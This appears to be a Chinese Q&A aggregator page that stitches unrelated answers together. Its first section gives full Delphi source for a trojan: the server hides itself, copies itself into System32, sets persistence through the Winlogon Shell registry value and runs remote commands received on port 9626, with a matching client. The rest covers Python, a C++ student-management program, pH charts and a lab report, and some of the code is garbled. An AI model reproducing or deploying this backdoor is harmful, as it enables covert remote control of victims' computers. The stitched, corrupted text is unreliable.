導航:首頁 > 源碼編譯 > ph74源碼

ph74源碼

發布時間:2022-07-28 09:58:41

A. 知道網頁木馬進!!!

其實木馬分很多種有的是針對系統的,就象是鴿子、冰河那種WIN32病毒。所以他要用C、C#、BCB、VC++、VB、DELPHI、MASM32、JAVA等多種主流語言。我甚至用PASCAL都能做出木馬。

而現在比較流行的網頁木馬就是針對HTTP服務的。所以要用腳本語言。比如,VBS( Visual Basic Script )、JS(JAVA Script)和HTML等語言編寫的。

總之,大家還是要好好學習編程。現在的社會變化的太快了大家不要被他給淘汰掉啊
Delphi編寫簡單的木馬2008-09-02 14:20剛學電腦時很喜歡網路安全,看著高手們寫的一個又一個攻擊工具,自己也總想努力去學好編程去寫屬於自己的程序。學DELPHI快一年了,感覺什麼都沒學到,慚愧啊。今晚突然想學著寫木馬,於是手忙腳亂的敲了點代碼,超簡單,願自己能越寫越好!!!程序跟傳統木馬一樣,分服務端和客戶端。運行服務端後會復制自身到SYSTEM32目錄下面,並在注冊表添加一自動行啟動項,打開本機9626埠開始等待接收客戶端的數據。當接收到客戶端數據時就當作CMD命令去執行,最後把回顯傳送回客戶端。客戶端很簡單,跟服務端連接成功後,輸入命令點執行,正常的話可以收到服務端的執行結果了。

源碼如下:

////Server.pas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:[email protected]////
////////QQ:231221////////////////
///部分代碼從網上收集///////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;

type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procere FormCreate(Sender: TObject);
procere SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procere SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FmMain: TFmMain;
reg:TRegistry;

implementation

{$R *.dfm}

procere TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //運行不顯示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立開機啟動項
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
file(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);

SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;

procere TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('連接成功'); //發現有連接時回傳『連接成功 』
end;

procere TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能創建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////執行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能創建進程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回顯
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///將回顯發送回客戶端
end;

end.

///////////////////////////////////////////////////////////////////////////////////////////

//////客戶端/////////////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:[email protected]////
////////QQ:231221////////////////
////////////////////////////////

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;

type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procere Button2Click(Sender: TObject);
procere CSRead(Sender: TObject; Socket: TCustomWinSocket);
procere BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
FmMain: TFmMain;

implementation

{$R *.dfm}

procere TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;

procere TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;

procere TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;

end.

B. python是什麼語言

python的中文名稱是蟒蛇。

Python是一種計算機程序設計語言。是一種動態的、面向對象的腳本語言,最初是用來編寫自動化腳本的,隨著版本的不斷更新和語言新功能的添加,越來越多被用於獨立的、大型項目的開發。

Python特點主要有以下幾個方面:

1、簡單:Python是一種代表簡單主義思想的語言。閱讀一個良好的Python程序就感覺像是在讀英語一樣。它使你能夠專注於解決問題而不是去搞明白語言本身。

2、易學:Python極其容易上手,因為Python有極其簡單的說明文檔。

3、速度快:Python 的底層是用 C 語言寫的,很多標准庫和第三方庫也都是用 C 寫的,運行速度非常快。

4、免費、開源:Python是FLOSS之一。使用者可以自由地發布這個軟體的拷貝、閱讀它的源代碼、對它做改動、把它的一部分用於新的自由軟體中。FLOSS是基於一個團體分享知識的概念。

5、高層語言:用Python語言編寫程序的時候無需考慮諸如如何管理你的程序使用的內存一類的底層細節。

6、可移植性:由於它的開源本質,Python已經被移植在許多平台上。這些平台包括linux、Windows、FreeBSD、Macintosh、Solaris、OS/2、Amiga、AROS、AS/400、BeOS、OS/390、z/OS、Palm OS、QNX、VMS、Psion、以及Google等基於linux開發的android平台。

7、解釋性:一個用編譯性語言比如C或C++寫的程序可以從源文件轉換到一個你的計算機使用的語言。這個過程通過編譯器和不同的標記、選項完成。

(2)ph74源碼擴展閱讀:

Python語言風格簡介:

Python在設計上堅持了清晰劃一的風格,這使得Python成為一門易讀、易維護,並且被大量用戶所歡迎的、用途廣泛的語言。

對於一個特定的問題,只要有一種最好的方法來解決就好。這在由Tim Peters寫的Python格言裡面表述為:There should be one-- and preferably only one --obvious way to do it. 這正好和Perl語言的中心思想TMTOWTDI完全相反。

Python的作者有意的設計限制性很強的語法,使得不好的編程習慣都不能通過編譯。其中很重要的一項就是Python的縮進規則。

C. 學生信息管理系統源代碼

void Sort(student *&head, char type,char maxOrMin)
{
/*參數說明:
type=='1' 按 語文 排列
type=='2' 按 數學 排列
type=='3' 按 英語 排列
type=='4' 按 總分 排列
type=='5' 按 平均分 排列
type=='6' 按 座號 排列
*/
student *pHead,*pH;
pHead=pH=head;
int len=GetLength(head);
float *array=new float[len];
int i;
int x=0;

float num=0;

while(head)
{
Count(head);
if(type=='1')
{
num=head->chinaNum;
}
else if(type=='2')
{
num=head->mathNum;
}
else if(type=='3')
{
num=head->englishNum;
}
else if(type=='4')
{
num=head->result;
}
else if(type=='5')
{

num=head->average;
}
else if(type=='6')
{
num=head->num;
}
array[x]=num;
x++;
head=head->next;
}

head=pHead;
if(maxOrMin=='1')
{
for( i=1; i<len; i++)
{
for(int j=0; j<len-i; j++)
{
if(array[j]<array[j+1])
{
float num;
num=array[j];
array[j]=array[j+1];
array[j+1]=num;
}
}
}
}
else
{
for( i=1; i<len; i++)
{
for(int j=0; j<len-i; j++)
{
if(array[j]>array[j+1])
{
float num;
num=array[j];
array[j]=array[j+1];
array[j+1]=num;
}
}
}
}

int pos=1;

for(i=0; i<len; i++)
{
head=pHead;
while(head)
{
if(type=='1')
{
num=head->chinaNum;
}
else if(type=='2')
{
num=head->mathNum;
}
else if(type=='3')
{
num=head->englishNum;
}
else if(type=='4')
{
num=int(head->result);
}
else if(type=='5')
{
num=int(head->average);
}
else if(type=='6')
{
num=int(head->num);
}

int n=0;
if(int(array[i])==int(num))
{

if(int(array[i])!=int(array[i+1]))
{
if(n==0)
{
n=pos;
}
head->pos=pos;
pos++;
}
else
{

head->pos=n;
}
}
head=head->next;
}
}
head=pH;
delete []array;
}

void Count(student *&head)
{
head->result=head->chinaNum+head->englishNum+head->mathNum;
head->average=head->result/3;
}

void DeleteAll(student* &head)
{
student *cp,*np;

cp=head;
while(cp)
{
np=cp->next;
delete cp;
cp=np;
}
head=NULL;
}

void ChaXun(string str,student *head)
{
Sort(head,'4','1');
cout<<"歡迎使用查詢功能"<<endl<<endl;
cout<<"請輸入你要按什麼查詢 1->一般查詢 2->查找最多 3->查找最少"<<endl;
string s;
cin>>s;
while(s[0]!='1'&&s[0]!='2'&&s[0]!='3')
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
cin>>s;
}

if(s[0]=='1')
{
cout<<"按什麼查詢?"<<endl;
cout<<"1->姓名 2->座號 3->語文成績 4->數學成績 "
<<"5->英語成績 6->總分 7->平均分 8->排名"<<endl;
cin>>str;

while(str[0]!='1' && str[0]!='2' &&
str[0]!='3' && str[0]!='4' &&
str[0]!='5' && str[0]!='6' &&
str[0]!='7' && str[0]!='8' )
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
cin>>str;
}
char findStr[30];
cout<<"請輸入要查找的關鍵字或關鍵數:"<<endl;
cin>>findStr;
switch(str[0])
{

case '1':
Find(head,findStr,'1');
break;
case '2':
Find(head,findStr,'2');
break;
case '3':
Find(head,findStr,'3');
break;
case '4':
Find(head,findStr,'4');
break;
case '5':
Find(head,findStr,'5');
break;
case '6':
Find(head,findStr,'6');
break;
case '7':
Find(head,findStr,'7');
break;
case '8':
Find(head,findStr,'8');
break;
}
}
else if(s[0]=='2')
{
cout<<"請輸入要按什麼查詢?"<<endl;
cout<<"1->語文成績 2->數學成績 "
<<"3->英語成績 4->總分 5->平均分 6->排名"<<endl;
string s;
cin>>s;
switch(s[0])
{
case '1':
FindMaxOrMin(head,'1','1');
break;
case '2':
FindMaxOrMin(head,'2','1');
break;
case '3':
FindMaxOrMin(head,'3','1');
break;
case '6':
FindMaxOrMin(head,'6','1');
break;
case '5':
FindMaxOrMin(head,'5','1');
break;
default:
FindMaxOrMin(head,'4','1');
break;
}
}
else if(s[0]=='3')
{
cout<<"請輸入要按什麼查詢?"<<endl;
cout<<"1->語文成績 2->數學成績 "
<<"3->英語成績 4->總分 5->平均分 6->排名"<<endl;
string s;
cin>>s;
switch(s[0])
{
case '1':
FindMaxOrMin(head,'1','2');
break;
case '2':
FindMaxOrMin(head,'2','2');
break;
case '3':
FindMaxOrMin(head,'3','2');
break;
case '6':
FindMaxOrMin(head,'6','2');
break;
case '5':
FindMaxOrMin(head,'5','2');
break;
default:
FindMaxOrMin(head,'4','2');
break;
}
}
}

void ZengJia(string str, student* &head)
{
student *pNew=new student;
cout<<"歡迎使用增加功能"<<endl<<endl;
cout<<"請輸入新學生的名字 :"<<endl;
cin>>pNew->name;
cout<<"請輸入新學生的座號 :"<<endl;
cin>>pNew->num;
cout<<"請輸入他的語文分數 :"<<endl;
cin>>pNew->chinaNum;
cout<<"請輸入他的數學分數"<<endl;
cin>>pNew->mathNum;
cout<<"請輸入他的英語分數"<<endl;
cin>>pNew->englishNum;

cout<<"插入記錄的 (1->最前面 2->最後面)"<<endl;
cin>>str;
while(str[0]!='1' && str[0]!='2')
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
cout<<"插入記錄的 (1->最前面 2->最後面)"<<endl;
cin>>str;
}
if(str[0]=='1')
{
InsertFront(head,pNew);
}
else if(str[0]=='2')
{
InsertRear(head,pNew);
}
cout<<"新學生增加成功."<<endl;

}

void ShanChu(string str, student *&head)
{
char delStr[30];
cout<<"歡迎使用刪除功能"<<endl<<endl;
cout<<"1->查詢刪除 2->全部刪除"<<endl;
cin>>str;
while(str[0]!='1' && str[0]!='2')
{
cout<<"輸入錯誤,請重新輸入."<<endl;
cin>>str;
}
if(str[0]=='1')
{
cout<<"請輸入要刪除的關鍵字"<<endl;
cin>>delStr;
cout<<"1->刪除第一條找到的記錄 2->刪除所有找到的記錄"<<endl;
cin>>str;
while(str[0]!='1'&&str[0]!='2')
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
cin>>str;
}
cout<<"你真的要刪除嗎? 1->刪除 2->取消"<<endl;
string s;
cin>>s;
if(str[0]=='1')
{
if(str[0]=='1')
{
Delete(head,delStr,1);

}
else
{
Delete(head,delStr,2);
}
}
else
{
cout<<"你已經取消刪除了."<<endl;
}
}
else
{
cout<<"你真的要刪除全部數據嗎?這樣會使你的數據全部丟失哦."<<endl;
cout<<"1->全部刪除 2->取消刪除"<<endl;
cin>>str;
if(str[0]=='1')
{
DeleteAll(head);
}
else
{
cout<<"你已經取消刪除了."<<endl;
}
}

}

void PaiMing(string str, student* head)
{
string s;
cout<<"歡迎使用排名功能"<<endl<<endl;
cout<<"排名選擇: 1->升序 2->降序"<<endl;
cin>>s;
cout<<"請輸入要按什麼排名?"<<endl;
cout<<"1->語文成績 2->數學成績 3->英語成績 "
<<"4->總分 5->平均分 6->座號"<<endl;

cin>>str;

while(str[0]!='1' && str[0]!='2' &&
str[0]!='3' && str[0]!='4' &&
str[0]!='5' && str[0]!='6' )
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
cin>>str;
}
cout<<"姓名:"<<setw(8)<<"座號:"<<setw(10)
<<"語文分數:"<<setw(10) <<"數學分數:"
<<setw(10)<<"英語分數:"<<setw(8)<<"總分數:"
<<setw(8)<<"平均分:"<<setw(6)<<"名次:"<<endl<<endl;
if(s[0]=='2')
{
switch(str[0])
{

case '1':
Sort(head,'1','1');
break;
case '2':
Sort(head,'2','1');
break;
case '3':
Sort(head,'3','1');
break;
case '4':
Sort(head,'4','1');
break;
case '5':
Sort(head,'5','1');
break;
case '6':
Sort(head,'6','1');
break;
}
}
else
{

switch(str[0])
{

case '1':
Sort(head,'1','2');
break;
case '2':
Sort(head,'2','2');
break;
case '3':
Sort(head,'3','2');
break;
case '4':
Sort(head,'4','2');
break;
case '5':
Sort(head,'5','2');
break;
case '6':
Sort(head,'6','2');
break;
}

}
ShowList(head);
return ;
}

void XianShi(string str, student *head)
{
Sort(head,'4','1');

string s;
cout<<"歡迎使用顯示功能"<<endl;
cout<<"1->顯示全部記錄 2->顯示記錄數目"<<endl;
cin>>s;
if(s[0]=='2')
{
cout<<"記錄的數目是:"<<GetLength(head)<<endl;
}
else
{
ShowList(head);
}
}

void XuiGai(string str, student *&head)
{
string s;
student *std;
cout<<"歡迎使用修改功能"<<endl;

cout<<"請輸入你要按什麼查詢"<<endl;
cout<<"1->姓名 2->座號 3->語文成績 4->數學成績 "
<<"5->英語成績 "<<endl;
cin>>str;

while(str[0]!='1' && str[0]!='2' &&
str[0]!='3' && str[0]!='4' &&
str[0]!='5' )
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
cin>>str;
}
char findStr[30];
cout<<"請輸入要查找的關鍵字或關鍵數:"<<endl;
cin>>findStr;
switch(str[0])
{

case '1':
std=Find(head,findStr,'1');
Reword(std);
break;
case '2':
std=Find(head,findStr,'2');
Reword(std);
break;
case '3':
std=Find(head,findStr,'3');
Reword(std);
break;
case '4':
std=Find(head,findStr,'4');
Reword(std);
break;
case '5':
std=Find(head,findStr,'5');
Reword(std);
break;
}
Write(head);
if(std!=NULL)
{
cout<<"修改成功."<<endl;
}
}

int Run()
{

bool isLoad=false;
student* head=NULL;
student *pNew=new student;
head=Read();
SetTitle(false);
if(head!=NULL)
{ Sort(head,'5','1');
Count(head);

}
string str;
SetTitle(false);

cout<<" 歡迎使用學生管理系統 "<<endl<<endl;

cout<<" 1->用戶登陸 2->退出程序 "<<endl;
cin>>str;
if(str[0]=='2')
{
AboutMe();
return 0;
}
else
{
isLoad=Enter('1');
system("cls");

if(isLoad==true)
{
SetTitle(true);
cout<<" 恭喜,您輸入的密碼正確.可以對本系統的進行任何操作."<<endl;
}
else
{
cout<<" Sorry,您輸入的密碼錯誤.你不能修改本系統的任何內容."<<endl;
}
}
begin:
cout<<endl<<endl;
cout<<" 歡迎使用學生管理系統 "<<endl<<endl;
cout<<" 1->增加功能 2-查詢功能"<<endl;
cout<<" 3->刪除功能 4-排名功能"<<endl;
cout<<" 5->顯示功能 6-修改功能"<<endl;
cout<<" 7->用戶設置 8-退出程序"<<endl;
cout<<"請輸入您的選擇: "<<endl;
cin>>str;

while(str[0]!='8')
{
if(isLoad==true && head!=NULL)
{
cout<<endl<<endl;
if(str[0]=='1')
{
ZengJia(str, head);
Sort(head,'4','1');
Write(head);
}
else if(str[0]=='2')
{
ChaXun(str,head);
}
else if(str[0]=='3')
{
ShanChu(str,head);
Sort(head,'4','1');
Write(head);
}
else if(str[0]=='4')
{
PaiMing(str,head);
}
else if(str[0]=='5')
{
XianShi(str,head);
}
else if(str[0]=='6')
{
XuiGai(str,head);
Write(head);
}
else if(str[0]=='7')
{
cout<<"歡迎使用用戶修改功能"<<endl;
isLoad=Enter('2');
}
else if(str[0]=='8')
{
AboutMe();
return 0;
}
else
{
cout<<"你輸入錯誤,請重新輸入."<<endl;
goto begin;
}
}
else if(isLoad==false && head!=NULL)
{
if(str[0]=='2')
{
ChaXun(str,head);
}
else if(str[0]=='4')
{
PaiMing(str,head);
}
else if(str[0]=='5')
{
XianShi(str,head);
}

else
{
cout<<"你不是管理員,不能進行此項功能."<<endl;
cout<<"你只能進行 查詢功能 顯示功能 排名功能"<<endl;

}
}
else if( head==NULL && isLoad==true)
{
cout<<"系統檢查到你沒有任何記錄,不能進行任何操作,只能增加記錄."<<endl;
ZengJia(str, head);
Write(head);
head=Read();

}
else if( head==NULL && isLoad==false)
{
cout<<"因為你沒有登陸,系統又檢查到你沒有任何記錄,你不能進行任何操作."<<endl;
}

cout<<endl<<endl;
cout<<"按任何鍵繼續進行操作."<<endl;
getchar();
getchar();
system("cls");
goto begin;
}

AboutMe();

return 0;
}

void SetTitle(bool isLoad)
{

HWND hwnd=GetForegroundWindow();

if(isLoad==false)
{
SetWindowText(hwnd," 學生管理系統(沒有登陸)");

}
else
{
SetWindowText(hwnd," 學生管理系統(已經登陸)");
}

system("color a");
}

void AboutMe()
{

char*pStr= " ┃ \n"
" ┃ \n"
" ┏━━━━┻━━━━┓ \n"
" ┃ 關於作者 ┃ \n"
" ┏━━━━┻━━━━━━━━━┻━━━━┓\n"
" ┃ ┃\n"
" ┃ Aauthor:********** ┃\n"
" ┃ QQ: ********* ┃\n"
" ┃ E-mail:********@**.com ┃\n"
" ┃ ┃\n"
" ┗━━━━━━━━━━━━━━━━━━━┛\n";
system("cls");

srand(time(0));
for(int i=0; i<strlen(pStr); i++)
{
if(pStr[i]!=' ')
{
Sleep(20);
}
cout<<pStr[i];
}
cout<<"Good-bye ."<<endl;
cout<<endl<<endl<<endl<<endl;
}
int main()
{
Run();
return 0;
}

D. 求ph值對照表

葯店買的ph試紙,測定顏色都有對應的ph值。直接比對就好了
酸鹼度描述的是水溶液的酸鹼性強弱程度,用pH來表示。熱力學標准狀況時,pH=7的水溶液呈中性,pH<7者顯酸性,pH>7者顯鹼性。
pH范圍在0~14之間,只適用於稀溶液,氫離子濃度或氫氧根離子濃度大於1mol/L的溶液的酸鹼度直接用濃度表示。
測量溶液的pH方法:
在待測溶液中加入pH指示劑,不同的指示劑根據不同的pH會變化顏色,例如:(1)將酸性溶液滴入石蕊試液,則石蕊試液將變紅;將鹼性溶液滴進石蕊試液,則石蕊試液將變藍(石蕊試液遇中性液體不變色)。根據指示劑的研究就可以確定pH的范圍。(2)將無色酚酞溶液滴入酸性或中性溶液,顏色不會變化;將無色酚酞溶液滴入鹼性溶液,溶液變紅。註:在有色待測溶液中加入pH指示劑時,應選擇能產生明顯色差的pH指示劑。
滴定時,可以作精確的pH標准。
使用pH試紙,pH試紙有廣泛試紙和精密試紙,用玻棒蘸一點待測溶液到試紙上,然後根據試紙的顏色變化並對照比色卡也可以得到溶液的pH。上方的表格就相當於一張比色卡。
使用pH計,pH計是一種測量溶液pH的儀器,它通過pH選擇電極(如玻璃電極)來測量出溶液的pH。pH計可以精確到小數點後兩位。

E. 如何求ph,比如說0.2mol/L的磷酸和0.05mol/L的磷酸二氫鉀(K2HPO4),為什麼使用的公式不一樣

常溫常壓下→→→→→→→→→→→→→→→→→→PH=-log{c(H )}~~~~~~~~~~~ c(H「)=n*(H氫的個數)→→→→→對H3PO4...PH=-LOG(0.2*3);對K2HPO4..(K2HPO4電離出K ,H ,(PO4)2-)'PH=-LOG(0.05*1),其計算本質是一樣的。上述只適用於強酸,對於弱酸(KHSO4..KHPO4.H 全部電離,可看作強酸),通常大於同濃度強酸,。對於大多鹽(強鹼強酸鹽),為中性。強鹼弱酸鹽為鹼性,強酸弱鹼鹽為酸性'''''。具體測量可用試紙等,無法計算。

F. 各種pH的緩沖溶液怎麼配製

配製方法:

只要知道緩沖對的PH值,和要配製的緩沖液的pH值(及要求的緩沖液總濃度),就能按公式計算[鹽]和[酸]的量。

這個演算法涉及對數換算,較麻煩,前人為減少後人的計算麻煩,已為我們總結出pH值與緩沖液對離子用量的關系並列出了表格。只要我們知道要配製的緩沖液的pH,經查表便可計算出所用緩沖劑的比例和用量。例如配製500nm pH5.8濃度為0.1M磷酸緩沖液。

經查表知pH5.8濃度為0.2M Na2HPO48.0毫升(1M=1 mol/L),而0.2M Na2HPO492.0毫升。依此可推論出配製100ml 0.1M的磷酸緩沖液需要0.1M Na2HPO48.0毫升,而0.1M Na2HPO4需要92.0毫升。

計算好後,按計算結果准確稱好固態化學成分,放於燒杯中,加少量蒸餾水溶解,轉移入50ml容量瓶,加蒸餾水至刻度,搖勻,就能得到所需的緩沖液。

各種緩沖溶液的配製,均按表格按比例混合,某些試劑,必須標定配成准確濃度才能進行,如醋酸、氫氧化鈉等。另外,所有緩沖溶劑的配製計量都能從以上的算式准確獲得。

(6)ph74源碼擴展閱讀

緩沖溶液的pH計算:

1、緩沖液的pH值與該酸的電離平衡常數Ka及鹽和酸的濃度有關。弱酸的pKa值衡定,但酸和鹽的比例不同時,就會得到不同的pH值。酸和鹽濃度相等時,溶液的pH值與PKa值相同。

2、酸和鹽濃度等比例增減時,溶液的pH值不變。

3、酸和鹽濃度相等時,緩沖液的緩沖效率為最高,比例相差越大,緩沖效率越低,緩沖液的一般有效緩沖范圍為pH=pKa±1,pOH=pKb±1。

G. 轉氨基作用實驗報告怎麼寫

轉氨基作用實驗報告如下。

一、實驗目的

1、學習氨基酸紙層析的基本原理;2、掌握氨基酸紙層析的操作原理。

二、實驗原理

轉氨基作用是氨基酸代謝過程中的一個重要反應,在轉氨酶的催化下,氨基酸的a-耐酸j a-酮基的互換反應稱為轉氨基作用。轉氨基作用廠泛地存在於機體各組織器官中,是體內氮基酸代謝的重要途徑。

氨基酸反應時均轉化為氮酶催化,此酶催化氛基酸的a-氛基轉移到另一a一酮基酸上。各種轉氨酶的活性不同,其中肝臟的丙氨酸氨基轉移酶(ALT)催化如下反應:a-酮戊二酸+丙氨酸谷氨酸+丙酮酸,本實驗以丙氨酸和a酮戊二酸為底物,加肝勻漿保溫後。

用紙層析法檢查谷氨酸的出現以證明轉氨基作用。紙層析屬干分配層析。以濾紙為支持物,濾紙纖維與水親合力強,水被吸附在濾紙的纖維素的纖維之間形成固定相。有機溶劑與水不相容,把預分離物質加到濾紙的一端,使流動溶劑經此向另一端移動。

這樣物質隨著流動相的移動進行連續、動態的不斷分配。由於物質分配系數的差異,而使移動速度就不一樣,在固定相中,分配趨勢較大的組分,隨流動相移動的速度就慢,反之,在流動相分配趨勢較大的成分,移動速度快,最終不同的組分彼此分離。

物質在紙上移動的速率可以用比值Rf表示:物質在一定的溶液中的分配系數是一定的,故比值Rf也相對穩定,因此在同一層析體系中可用Rf值來鑒定被分離的物質。

三、實驗材料與儀器

試劑:1、0.01mol/LpH7.4磷酸鹽緩沖液。2、0.2mol/LNa2HP04溶液81ml與02mol/LNaH2P04溶液19ml混勻,用蒸餾水稀釋20倍。3、01mol/L丙氨酸溶液稱取丙氨酸0891克先溶1mol/LpH7.4磷酸鹽緩沖液中以10NNaOH仔細調至pH74後加磷酸鹽緩沖液至100ml。

儀器:玻璃勻漿器、10ml試管、培養皿、表面皿、沸水浴鍋、37℃恆溫水浴箱、9cm圓濾紙、烘箱、手術剪刀、分液漏斗。

四、實驗步驟:1、肝勻漿制備:取新鮮動物肝05克剪碎後放入勻漿器加入冷0.01mol/LpH7.4磷酸鹽緩沖液1.0ml,迅速研成勻漿用上述緩沖液4.5ml混勻備用。2、酶促反應過程。

五、實驗結果記錄

六、實驗討論

可以看出,測定管上清液點樣出現了兩個色斑,根據Rf值的計算也可以看出,測定管中氨基酸發生了轉氨基作用。

轉氨基作用是氨基酸脫氨基作用的途徑之一。指的是一種α-氨基酸的α-氨基在氨基轉移酶的催化下,轉移到α-酮酸的酮基上,生成相應的α-氨基酸;而原來的α-氨基酸則轉變為相應的α-酮酸。

結果是生成了一種非必需氨基酸和一種新的α-酮酸。反應由轉氨酶和其輔基磷酸吡哆醛催化。磷酸吡哆醛是維生素B6的衍生物。人體內最重要的轉氨酶為谷丙轉氨酶和穀草轉氨酶。它們是肝炎診斷和預後的指標之一。

以上內容參考:網路—轉氨基作用

H. 對天然水樣進行分析,結果pH=74,t=15℃,[HCO3]=213mgL。求該水樣總酸度+鹼度。

摘要 您好答案

閱讀全文

與ph74源碼相關的資料

熱點內容
單片機6502 瀏覽:765
自助洗車有什麼app 瀏覽:937
程序員離職率多少 瀏覽:322
程序員那麼可愛電視劇今天沒更新 瀏覽:337
我的世界地形演算法 瀏覽:343
台灣dns的伺服器地址雲空間 瀏覽:288
音樂噴泉軟體要什麼加密狗 瀏覽:501
androidhttpmime 瀏覽:774
威科夫操盤法pdf 瀏覽:981
演算法可以用圖表表示 瀏覽:949
山西太原php 瀏覽:274
常用cmd網路命令 瀏覽:677
hashmap7源碼分析 瀏覽:899
搜索引擎原理技術與系統pdf 瀏覽:362
運動估計演算法python 瀏覽:861
java正則1 瀏覽:539
redhatlinux最新 瀏覽:182
python字典編程詞彙 瀏覽:147
微信和伺服器如何通訊 瀏覽:13
百家號伺服器配置有什麼用 瀏覽:601